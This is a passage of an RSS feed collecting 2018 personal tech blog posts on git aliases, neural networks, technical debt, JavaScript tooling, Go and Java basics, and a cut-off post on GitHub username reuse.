point out that one can just as well modify &lt;code&gt;.gitconfig&lt;/code&gt; accordingly and
make this command an alias of the &lt;code&gt;git&lt;/code&gt; command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[alias]
  pushall = !git remote | xargs -L1 git push --all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thanks!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Tue, 13 Feb 2018 21:47:05 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2018/git_push_all_remotes/</guid></item><item><title>When are neural networks overkill?</title><link>https://yieldthought.com/post/170830096265</link><description>&lt;p&gt;Stefano J Attardi&amp;rsquo;s excellent blog on &lt;a href="https://attardi.org/pytorch-and-coreml"&gt;using a neural network to split trendlines&lt;/a&gt; in his mechanical watch tracking app attracted many &lt;a href="https://news.ycombinator.com/item?id=16364826"&gt;comments on hacker news&lt;/a&gt; suggesting a simpler algorithm might be more appropriate:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;If I understand correctly, the reason a CNN is used here is because we want to find the splits that a human would visually agree &amp;ldquo;looks&amp;rdquo; the best?
So rather than a regression it&amp;rsquo;s more like the &amp;ldquo;line simplification&amp;rdquo; problem in graphics.&lt;/p&gt;&lt;p&gt;Just thought this solution seems a little overkill. Surely you can pick some error metric over the splits to optimize instead?&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Stefano understood intuitively the problem he wanted to solve but couldn&amp;rsquo;t write down explicit rules for doing so. He&amp;rsquo;s trying to split trend lines and in the four cases shown below the two highlighted in red boxes are considered &lt;i&gt;incorrect&lt;/i&gt; splits:&lt;/p&gt;&lt;figure class="tmblr-full"&gt;&lt;img src="https://64.media.tumblr.com/92a97c873086001057447f4ad9109251/tumblr_inline_p431m602zV1qd3z7l_540.png" /&gt;&lt;/figure&gt;&lt;p&gt;He tried a number of classic segmented and piecewise regression algorithms first without finding a reliable solution.&lt;/p&gt;&lt;p&gt;To me, this looks like a hard problem to solve analytically and is a great example of an unorthodox but entirely practical application of neural networks.&lt;/p&gt;&lt;p&gt;But the question goes deeper than this once case. It is: if you &lt;i&gt;can&lt;/i&gt; train a neural network to solve a problem, &lt;i&gt;should&lt;/i&gt; you?&lt;/p&gt;&lt;h2&gt;What is overkill, anyway?&lt;/h2&gt;&lt;p&gt;Neural networks are easier than ever to train and deploy. Stefano’s post highlights some of the remaining gritty detail, but we’re rapidly moving towards a world in which deploying executing a neural network is as simple and normal as linking with a library and calling a function in it.&lt;/p&gt;&lt;p&gt;&lt;a href="https://developer.arm.com/products/processors/machine-learning/arm-ml-processor"&gt;High-performance neural network processors&lt;/a&gt; will soon be shipping in every new phone and laptop on the planet. We are &lt;a href="https://developer.arm.com/hpc/arm-scalable-vector-extensions-and-application-to-machine-learning"&gt;designing machine learning directly into CPU instruction set architectures&lt;/a&gt;. This trend is not going away - it’s only just getting started.&lt;/p&gt;&lt;p&gt;Stefano’s use of neural networks here, whilst currently unconventional, is absolutely a sign of things to come. If you already &lt;i&gt;have&lt;/i&gt; the data, the benefits of a neural network are many:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Improves over time without further developer effort.&lt;/b&gt; This fits the maxim of shipping &lt;i&gt;something&lt;/i&gt; now and improving it rapidly. To get a better network you often just need more or better data. If you include some mechanism to collect data and feedback from users, this can even be automated.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Fewer critical bugs.&lt;/b&gt; A neural network will sometimes predict the wrong answer, but it will never introduce a segmentation fault, security vulnerability or a memory leak.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Predictable and scalable performance.&lt;/b&gt; A neural network takes the same time and memory to execute regardless of the input data, and be reducing or increasing the channels you can trivially trade performance and accuracy to match your needs.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Faster execution and lower power consumption.&lt;/b&gt; This is currently questionable, but will change dramatically when every chip has a machine learning processor executing multiple teraflops per watt embedded in it.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The time is coming when hand-coding an algorithm that a neural network could have learned directly from the data will be seen as overkill - or at best, delightfully &lt;i&gt;retro&lt;/i&gt;.&lt;/p&gt;&lt;p&gt;To paraphrase the tongue-in-cheek &lt;a href="http://schlockmercenary.wikia.com/wiki/The_Seventy_Maxims_of_Maximally_Effective_Mercenaries"&gt;Seventy Maxims of Effective Mercenaries&lt;/a&gt;: one person’s overkill is another person’s “&lt;a href="https://medium.com/@karpathy/software-2-0-a64152b37c35"&gt;time to reload&lt;/a&gt;”.&lt;/p&gt;</description><author>Yield Thought</author><pubDate>Tue, 13 Feb 2018 12:38:30 GMT</pubDate><guid isPermaLink="true">https://yieldthought.com/post/170830096265</guid></item><item><title>Technical debt – compilation</title><link>https://yasha.solutions/technical-debt-compilation/</link><description>Technical debt is the cost of your management shortcuts compounded with interest.
It is a fancy term to try to explain to the management that bad long term technical decisions were made and that now they need to bank for it.
Often management is responsible for the technical debt, sometime it is a shared responsibility with the technical staff sometime it is a mix of both – in any case – whatever this is – it will always have a cost to fix it – and a cost to not fix it – which is greater is really the main question.</description><author>Yasha Solutions</author><pubDate>Tue, 13 Feb 2018 10:21:29 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/technical-debt-compilation/</guid></item><item><title>Robot dogs opening doors. Or keeping them shut?</title><link>https://stop.zona-m.net/2018/02/robot-dogs-opening-doors.-or-keeping-them-shut/</link><description>&lt;p&gt;There&amp;rsquo;s some new dog-like robot who just &amp;ldquo;learned to open doors&amp;rdquo;. Most people are excited, or scared, by the dog itself. Maybe they should worry more about the door.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 13 Feb 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/robot-dogs-opening-doors.-or-keeping-them-shut/</guid></item><item><title>Children should build their online presence. Sure, but where?</title><link>https://stop.zona-m.net/2018/02/children-should-build-their-online-presence.-sure-but-where/</link><description>&lt;p&gt;There is a post about children and their online presence that is great, except for a serious omission.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 13 Feb 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/children-should-build-their-online-presence.-sure-but-where/</guid></item><item><title>Gaming – let’s playyyy (coding resource)</title><link>https://yasha.solutions/gaming-lets-playyyy-coding-resource/</link><description>Bunch of resources for side project on gaming.
(got 2 boys at home who have their eyes locked on mario – so I just want to use that to open their eyes on it works and make some mods and some cool evolution of the game with them…)
here is what I have found that look like the more promising for quick development of 2D arcade games:
Enchant JS Seems like a basic library for simple games.</description><author>Yasha Solutions</author><pubDate>Mon, 12 Feb 2018 19:29:29 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/gaming-lets-playyyy-coding-resource/</guid></item><item><title>Reading List</title><link>https://ferrucc.io/reading/</link><description>&lt;p&gt;Since starting to work on June, I haven&amp;rsquo;t read a lot of books. I only read a few Substack posts for fun and go out for long walks.&lt;/p&gt;
&lt;p&gt;My favorite blog right now is &lt;a href="https://brief.bismarckanalysis.com/"&gt;Samo Burja&amp;rsquo;s Bismarck Brief&lt;/a&gt;. Every week I get a new post on something I would&amp;rsquo;ve never thought of being interesting.&lt;/p&gt;
&lt;p&gt;I also like reading &lt;a href="https://palladiummagazine.org/"&gt;Palladium Magazine&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Recently, after listening to Chris Arnade&amp;rsquo;s podcast interview with Tyler Cowen I&amp;rsquo;ve been enjoying reading his newsletter &lt;em&gt;&lt;a href="https://walkingtheworld.substack.com/"&gt;Chris Arnade Walks the World&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Mon, 12 Feb 2018 15:31:50 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/reading/</guid></item><item><title>The next three titles about cops with fingerprint scanners</title><link>https://stop.zona-m.net/2018/02/the-next-three-titles-about-cops-with-fingerprint-scanners/</link><description>&lt;p&gt;Wired reports that &lt;a href="http://www.wired.co.uk/article/uk-police-handheld-fingerprint-scanner-database-biometric-security"&gt;&amp;ldquo;UK police are now using fingerprint scanners on the streets to identify people in less than a minute&amp;rdquo;&lt;/a&gt;. I have a feeling that the next three titles on the same topic may be something like these:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 12 Feb 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/the-next-three-titles-about-cops-with-fingerprint-scanners/</guid></item><item><title>Is it better to store files in books?</title><link>https://www.swilliams.io/w/storing-files-as-books</link><description>&lt;p&gt;The lifespan of a floppy disk is 20 years, the lifespan of a magnetic tape 10 years, and the lifespan of some hard disks is only 5 years. By comparison, the
    oldest books in the world are thousands of years old, as old as civilisation itself, coming from the ancient kingdoms of Sumeria and Egypt. Evidently, books
    are much more durable than even our most durable technological storage. Therefore, do we owe it to our future generations to start backing up our digital
    media as 1s and 0s in books, ensuring that they'd last thousands of years in physical form?&lt;/p&gt;
&lt;figure&gt;
    &lt;img src="book.jpg" href="book.jpg" alt="Picture of a book." style="height:250px;width:500px;"&gt;
    &lt;figcaption&gt;This is a book.&lt;sup&gt;&lt;a href="#fn-1"&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;An A4 piece of papercan fit approximately 5000 1s or 0s, or 5 Kb of information, if we use a 10 pt font and sensible margins. That's a disappointingly small
    amount. But we can greatly improve on this if we don't limit ourselves to having a human readable piece of paper - we can fit much more by reducing the font
    size to barely readable, printing double sided, and having the most minimal margins. With all these improvesments, we can expect around 50,000 bits on each
    page (6.25 KB). &lt;/p&gt;
&lt;p&gt;It is hopefully quite obvious that this is not a good way of storing written words - language is a much more dense than bits. However, there currently is no
    future-proof way to ensure our music today is heard as it should be - just recording score in notes and bars doesn't capture the essence of the music as it
    is heard on record or in mp3s. Is this the best way of recording music for future generations? MP3s are typically 128 Kb/s. Applying that to our bits per
    paper means a book of 4'300 pages could hold Rick Astley's Never Gonna Give You Up replacing the space taken up by your Song of Ice and Fire collection on
    your bookshelf. This is worth it. &lt;/p&gt;
&lt;p&gt;But we can do better! Instead of inking 1s and 0s on paper, we can instead use hexadecimal to store four times as much information in the same amount of
    paper, cutting our Rick Astley volume to the mere size of a large book. But there's no reason to limit ourselves to only hex, we have over 100'000
    characters in unicode, each of which could represent a series of 1s and 0s, theres no limit to the compression we could achieve, potentially storing
    megabytes on a single A4! This could then easily be read back in future generations with advanced OCR technology, so long as the key is stored somewhere.
&lt;/p&gt;
&lt;p&gt;I'm not seriously advocating this. But... maybe...?&lt;/p&gt;
&lt;h2&gt;Footnotes&lt;/h2&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;a name="fn-1" href="https://en.wikipedia.org/wiki/File:Blank_book_on_a_table.jpg"&gt;Image from Wikipedia&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>SWilliams.io</author><pubDate>Mon, 12 Feb 2018 03:01:01 GMT</pubDate><guid isPermaLink="true">https://www.swilliams.io/w/storing-files-as-books</guid></item><item><title>Denver.rb meetup notes</title><link>https://josh.works/denverrb</link><description>&lt;h2 id="move-slow-and-improve-things-performance-improvement-in-a-rails-app"&gt;Move Slow and Improve Things: Performance Improvement in a Rails App&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="https://www.meetup.com/Denver-rb/events/rqjnpqyzdbqb/"&gt;Denver.rb Monthly Meetup @WeWork&lt;/a&gt;, Feb 12, 2018&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;We talked about performance profiling!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.dropbox.com/s/j7v300oh52x0jb5/denver_rb.key?dl=0"&gt;Here’s the slides, on Dropbox&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I’m working on going deeper on the topic of Rails performance. I’ve got a lot more on the topic brewing. If you wanna stay in the loop, drop your email below. (I can’t promise that &lt;em&gt;everything&lt;/em&gt; you’ll get from me will be Rails performance posts, though…)&lt;/p&gt;

&lt;h3 id="additional-reading"&gt;Additional reading&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://github.com/MiniProfiler/rack-mini-profiler"&gt;Rack Mini Profiler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.speedshop.co/2019/01/10/three-activerecord-mistakes.html"&gt;3 ActiveRecord Mistakes That Slow Down Rails Apps: Count, Where and Present&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Want to stay up to date on these projects? Enter your email below, and you'll get an approximately-monthly newsletter from me.&lt;/h4&gt;
&lt;form action="https://buttondown.email/api/emails/embed-subscribe/josht" class="embeddable-buttondown-form" method="post" target="popupwindow"&gt;
  &lt;label for="bd-email"&gt;Enter your email&lt;/label&gt;
  &lt;input id="bd-email" name="email" type="email" /&gt;
  
  &lt;input type="submit" value="Subscribe" /&gt;
  &lt;p&gt;&lt;i&gt;If you don't see the subscribe form above, &lt;a href="https://buttondown.email/josht"&gt;click here&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
  &lt;p&gt;&lt;i&gt;Readers have rated these messages from me as variations of 'interesting-enough', 'thought-provoking', and 'worthwhile'. It's also easy to unsubscribe from.&lt;/i&gt;&lt;/p&gt;
&lt;/form&gt;</description><author>Josh Thompson</author><pubDate>Mon, 12 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/denverrb</guid></item><item><title>Support me on Patreon</title><link>https://thomashunter.name/posts/2018-02-12-support-me-on-patreon</link><author>Thomas Hunter II</author><pubDate>Mon, 12 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-02-12-support-me-on-patreon</guid></item><item><title>Now that all your worry has proved such an unlucrative business,</title><link>https://ho.dges.online/words/commonplace/now-that-all-your-worry-has-proved-such-an-unlucrative-business/</link><description>&lt;p&gt;Hafiz&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Now that all your worry has proved such an un-lucrative business, why not find a better job?&lt;/p&gt;
&lt;/blockquote&gt;</description><author>ho.dges.online</author><pubDate>Mon, 12 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/now-that-all-your-worry-has-proved-such-an-unlucrative-business/</guid></item><item><title>2018-02-12/01</title><link>https://ho.dges.online/pictures/2018-02-12-01/</link><description/><author>ho.dges.online</author><pubDate>Mon, 12 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-02-12-01/</guid></item><item><title>2018-02-12/02</title><link>https://ho.dges.online/pictures/2018-02-12-02/</link><description/><author>ho.dges.online</author><pubDate>Mon, 12 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-02-12-02/</guid></item><item><title>Essential tools for JavaScript beginners</title><link>https://qubyte.codes/blog/essential-tools-for-javascript-beginners</link><description>&lt;p&gt;I’ve noticed when helping people to learn JS is that I’m happy to let them learn
without any tools. In hindsight this is very strange. I wouldn’t dream of
programming like this! I make mistakes all the time, and tools help me to catch
them early. Tools also help me to streamline repetitive tasks.&lt;/p&gt;
&lt;p&gt;In this post I'll talk a minimal set of tools common to all projects I use. This
consists of &lt;a href="https://code.visualstudio.com/"&gt;Visual Studio Code&lt;/a&gt;, &lt;a href="https://nodejs.org/en/"&gt;&lt;code&gt;Node.js&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://eslint.org/"&gt;ESLint&lt;/a&gt;,
and &lt;a href="http://editorconfig.org/"&gt;Editorconfig files&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="visual-studio-code"&gt;Visual Studio Code&lt;/h2&gt;
&lt;p&gt;There are many editors out there, and which one you use is a personal
preference. Consider this section optional, but recommended.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://code.visualstudio.com/"&gt;VS Code&lt;/a&gt; is my current editor of choice. It integrates well with tools,
feels uncluttered, and doesn’t lag. It's useful out of the box. Many editors can
integrate with tools, but none quite as nicely. I recommend installing it and
using its extensions system to install the ESLint extension and the Editorconfig
extension (more on this in the sections below). The installation of ESLint into
your project itself is covered in a later section.&lt;/p&gt;
&lt;p&gt;Tip: Open the project directory in VS Code, not just a single file. It’ll
present you with a file explorer on the left so you can quickly open other files
in your project without leaving the editor. You’ll also be able to see files
which are usually hidden.&lt;/p&gt;
&lt;p&gt;Tip: You can use VS Code to view git diffs, compose git commits, and push and
pull from a repository. If you prefer not to use git from the terminal, you may
find VS Code good enough most of the time.&lt;/p&gt;
&lt;p&gt;Tip: If you do want to use git (or npm etc.) from the terminal, you can open a
terminal a panel in VS Code. From the view menu, select &amp;quot;Integrated Terminal&amp;quot;.&lt;/p&gt;
&lt;h2 id="nodejs"&gt;Node.js&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://nodejs.org/en/"&gt;Node&lt;/a&gt; is a JavaScript environment without the browser. It is often used
to write servers (most of my day job), but that’s not what we need it for here.&lt;/p&gt;
&lt;p&gt;All modern JavaScript tools are built to be executed by Node and installable
with &lt;a href="https://www.npmjs.com/"&gt;&lt;code&gt;npm&lt;/code&gt;&lt;/a&gt;, the JavaScript package manager, and executable with
&lt;a href="https://medium.com/@maybekatz/introducing-npx-an-npm-package-runner-55f7d4bd282b"&gt;&lt;code&gt;npx&lt;/code&gt;&lt;/a&gt;, the JavaScript package runner, which are both installed along with
Node.&lt;/p&gt;
&lt;p&gt;With Node installed, when you are starting a new project or want to add packages
or tooling to an existing one, open a terminal (on a Mac or Linux machine, or on
windows the Node.js prompt) and navigate to the new project directory (make a
new directory if you need to). When you're in there, run&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;npm init
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;and answer the questions. You can use the defaults for most of the fields. This
initialises your project with a &lt;a href="https://docs.npmjs.com/files/package.json"&gt;&lt;code&gt;package.json&lt;/code&gt;&lt;/a&gt; file. This file
is very powerful because it can be used to describe your project and its
dependencies (other libraries and tools it requires). If you're unsure, run&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;npm help init
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;for some helpful information.&lt;/p&gt;
&lt;h2 id="eslint"&gt;ESLint&lt;/h2&gt;
&lt;p&gt;The most important tool (after the editor) I use is &lt;a href="https://eslint.org/"&gt;ESLint&lt;/a&gt;. It scans
your code, and tries to tell you when you’ve made a mistake or done something
you probably didn’t intend. ESLint can also be used to enforce style. Enforcing
style might seem dictatorial, but consistent code is beautiful, and it helps a
great deal when collaborating. Install with ESLint and a configuration with:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;npm install —-save-dev eslint eslint-config-qubyte
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I'm suggesting my own ESLint config here, but there are lots of them to be
&lt;a href="https://www.npmjs.com/browse/keyword/eslintconfig"&gt;found on npm&lt;/a&gt;. You can create your own too!&lt;/p&gt;
&lt;p&gt;When the command has finished, take a look in &lt;code&gt;package.json&lt;/code&gt;. You’ll see a
&lt;code&gt;devDependencies&lt;/code&gt; section with the installed packages and version numbers.
You’ll also see a new folder called &lt;code&gt;node_modules&lt;/code&gt;. If you delete
&lt;code&gt;node_modules&lt;/code&gt;, you can run:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;npm install
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;and npm will read &lt;code&gt;package.json&lt;/code&gt; to know what to install. There may also be a
&lt;code&gt;package-lock.json&lt;/code&gt;. This lock file makes sure that exactly the same version of
dependencies are installed each time. This is useful for sharing your project
without having to include all the dependencies (which can easy amount to
megabytes). If you're using git, add &lt;code&gt;node_modules&lt;/code&gt; to your &lt;code&gt;.gitignore&lt;/code&gt; file so
that git ignores that directory.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;devDependencies&lt;/code&gt; section is for packages used in development, so it's the
natural place for tools like ESLint. the &lt;code&gt;--save-dev&lt;/code&gt; flag of &lt;code&gt;npm install&lt;/code&gt;
tells &lt;code&gt;npm&lt;/code&gt; to install as a development dependency.&lt;/p&gt;
&lt;p&gt;With ESLint and an ESLint config installed, ESLint it must be told to use the
config. Create a file in your project directory called &lt;code&gt;.eslintrc.json&lt;/code&gt; (the
leading &lt;code&gt;.&lt;/code&gt; is important) and put the following into it:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-json"&gt;&lt;span class="hljs-punctuation"&gt;{&lt;/span&gt;
  &lt;span class="hljs-attr"&gt;&amp;quot;extends&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;quot;qubyte&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;,&lt;/span&gt;
  &lt;span class="hljs-attr"&gt;&amp;quot;env&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-punctuation"&gt;{&lt;/span&gt;
    &lt;span class="hljs-attr"&gt;&amp;quot;browser&amp;quot;&lt;/span&gt;&lt;span class="hljs-punctuation"&gt;:&lt;/span&gt; &lt;span class="hljs-literal"&gt;&lt;span class="hljs-keyword"&gt;true&lt;/span&gt;&lt;/span&gt;
  &lt;span class="hljs-punctuation"&gt;}&lt;/span&gt;
&lt;span class="hljs-punctuation"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This minimal configuration tells ESLint that you're &amp;quot;extending&amp;quot; the config from
&lt;code&gt;eslint-config-qubyte&lt;/code&gt;. You can find out more about configuring ESLint
&lt;a href="https://eslint.org/docs/user-guide/configuring"&gt;here&lt;/a&gt;. If you're using newer JavaScript features, try setting
&lt;code&gt;extends&lt;/code&gt; to &lt;code&gt;&amp;quot;qubyte/ES2017&amp;quot;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;VSCode has an &amp;quot;extension&amp;quot; for ESLint. On the left of a VS code window there are
several icons. Click on the one for extensions (hover to see) and search for
&amp;quot;ESLint&amp;quot; to find it, and install. From the view menu, click on &amp;quot;Problems&amp;quot; to
open a panel which shows you problems ESLint finds.&lt;/p&gt;
&lt;p&gt;If you want to run ESLint from the terminal, navigate to your project directory
and run&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;npx eslint .
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note the trailing dot, and that the command here is
&lt;a href="https://medium.com/@maybekatz/introducing-npx-an-npm-package-runner-55f7d4bd282b"&gt;&lt;code&gt;npx&lt;/code&gt;&lt;/a&gt; not &lt;code&gt;npm&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="editorconfig"&gt;Editorconfig&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://editorconfig.org/"&gt;Editorconfig&lt;/a&gt; is not really a tool. It’s a standard for a file
which describes how code should look in each code file. Make a file called
&lt;code&gt;.editorconfig&lt;/code&gt; (all lower case with a leading &lt;code&gt;.&lt;/code&gt; as the first character in the
name). Put the following text into it and save:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-toml"&gt;&lt;span class="hljs-comment"&gt;# Apply settings to all text file&lt;/span&gt;
&lt;span class="hljs-comment"&gt;# types.&lt;/span&gt;
&lt;span class="hljs-section"&gt;[*]&lt;/span&gt;

&lt;span class="hljs-comment"&gt;# Windows likes to choose weird&lt;/span&gt;
&lt;span class="hljs-comment"&gt;# encodings sometimes. Use this to make&lt;/span&gt;
&lt;span class="hljs-comment"&gt;# sure that wherever the file is saved,&lt;/span&gt;
&lt;span class="hljs-comment"&gt;# it&amp;#x27;s in the expected encoding.&lt;/span&gt;
&lt;span class="hljs-attr"&gt;charset&lt;/span&gt; = utf-&lt;span class="hljs-number"&gt;8&lt;/span&gt;

&lt;span class="hljs-comment"&gt;# Use unix line endings everywhere for&lt;/span&gt;
&lt;span class="hljs-comment"&gt;# similar reasons as the charset above.&lt;/span&gt;
&lt;span class="hljs-attr"&gt;end_of_line&lt;/span&gt; = lf

&lt;span class="hljs-comment"&gt;# Wise to end on a new line character&lt;/span&gt;
&lt;span class="hljs-comment"&gt;# for unix.&lt;/span&gt;
&lt;span class="hljs-attr"&gt;insert_final_newline&lt;/span&gt; = &lt;span class="hljs-literal"&gt;true&lt;/span&gt;

&lt;span class="hljs-comment"&gt;# Indent using two spaces at a time.&lt;/span&gt;
&lt;span class="hljs-attr"&gt;indent_style&lt;/span&gt; = space
&lt;span class="hljs-attr"&gt;indent_size&lt;/span&gt; = &lt;span class="hljs-number"&gt;2&lt;/span&gt;

&lt;span class="hljs-comment"&gt;# Trims redundant spaces from the end&lt;/span&gt;
&lt;span class="hljs-comment"&gt;# of lines.&lt;/span&gt;
&lt;span class="hljs-attr"&gt;trim_trailing_whitespace&lt;/span&gt; = &lt;span class="hljs-literal"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Tip: If you prefer another editor, Editorconfig has broad support. It's always
worth having this file in your projects.&lt;/p&gt;
&lt;p&gt;VS Code has an extension for Editorconfig files. To install it, open
&amp;quot;Extensions&amp;quot; via the icon on the left or via the view menu, and search for
&amp;quot;Editorconfig&amp;quot;. The most downloaded (probably the top hit) is the one you want.
Once this is installed, there's nothing left to do. VSCode will honour
Editorconfig files whenever it finds them. It does this by applying Editorconfig
rules to a file when it is saved.&lt;/p&gt;
&lt;h2 id="finally"&gt;Finally&lt;/h2&gt;
&lt;p&gt;There are lots of tools out there. If you have a mentor they may have some
suggestions! These are the essential tools I use as a career programmer though.&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Sun, 11 Feb 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/essential-tools-for-javascript-beginners</guid></item><item><title>Testing SnailLife Go on Go 1.10</title><link>https://liza.io/testing-snaillife-go-on-go-1.10/</link><description>&lt;p&gt;This is quick braindump of getting SnailLife Go building and testing on Go 1.10.&lt;/p&gt;
&lt;p&gt;A few days ago I decided to start building and testing SnailLife Go on Go 1.10 RC 1 (now RC 2). It took a bit of wrangling, but after updating my local environment and finding the best image to use for GitLab CI, I now have it building on Go 1.9 and 1.10 rc 2.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 11 Feb 2018 09:36:02 GMT</pubDate><guid isPermaLink="true">https://liza.io/testing-snaillife-go-on-go-1.10/</guid></item><item><title>2018-02-11</title><link>https://ho.dges.online/pictures/2018-02-11/</link><description>&lt;p&gt;B and me.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sun, 11 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-02-11/</guid></item><item><title>Java variable types</title><link>https://studiofreya.org/java/java-variable-types/</link><description>&lt;p&gt;A &lt;strong&gt;variable&lt;/strong&gt; in Java is a name of a memory location that can hold some value. Variables provide an easy way for programmers to access memory locations.&lt;/p&gt;
&lt;p&gt;The word variable itself is a combination of “vary + able “, a value that can be changed.&lt;/p&gt;
&lt;p&gt;Every Java variable has:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A name&lt;/li&gt;
&lt;li&gt;A &lt;a href="https://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html" rel="noopener nofollow" target="_blank"&gt;data type&lt;/a&gt; which specifies the size and layout of variable, memory location associated with it, range of values that the variable can hold and operations that can be safely applied on the variable.&lt;/li&gt;
&lt;li&gt;A value&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;DataType Name = Value&lt;/code&gt;&lt;/p&gt;</description><author>Studiofreya SSG Site</author><pubDate>Sat, 10 Feb 2018 21:44:48 GMT</pubDate><guid isPermaLink="true">https://studiofreya.org/java/java-variable-types/</guid></item><item><title>Learning from terminally ill children</title><link>https://ilearnt.com/blog/lifeandterminallyill/</link><description>&lt;p&gt;I am going to try and enjoy the small things in life and focus more on those close to me; something that is not always easy when caught up in the hustle and bustle of life.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sat, 10 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/lifeandterminallyill/</guid></item><item><title>What's the difference between a blockchain-powered city and...?</title><link>https://stop.zona-m.net/2018/02/whats-the-difference-between-a-blockchain-powered-city-and.../</link><description>&lt;p&gt;&amp;ldquo;Blockchain-powered smart cities are more attainable than people imagine&amp;rdquo;, says &lt;a href="https://hackernoon.com/can-an-entire-city-run-on-the-blockchain-862b90dabae5"&gt;this article&lt;/a&gt;. Cool. But so is &amp;hellip;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 10 Feb 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/whats-the-difference-between-a-blockchain-powered-city-and.../</guid></item><item><title>Apocrypha</title><link>https://www.anardil.net/2018/apocrypha.html</link><description>&lt;p&gt;Lightweight, flexible, persistent database&lt;/p&gt;</description><author>Anardil</author><pubDate>Sat, 10 Feb 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2018/apocrypha.html</guid></item><item><title>GitHub Shouldn't Allow Username Reuse</title><link>https://donatstudios.com/GithubsTotalSecurityFacepalm</link><description>&lt;p&gt;&lt;strong&gt;Update 2018-04-19&lt;/strong&gt; - GitHub has &lt;a href="https://blog.github.com/2018-04-18-new-tools-for-open-source-maintainers/#popular-repository-namespace-retirement"&gt;implemented some rules&lt;/a&gt; around retiring 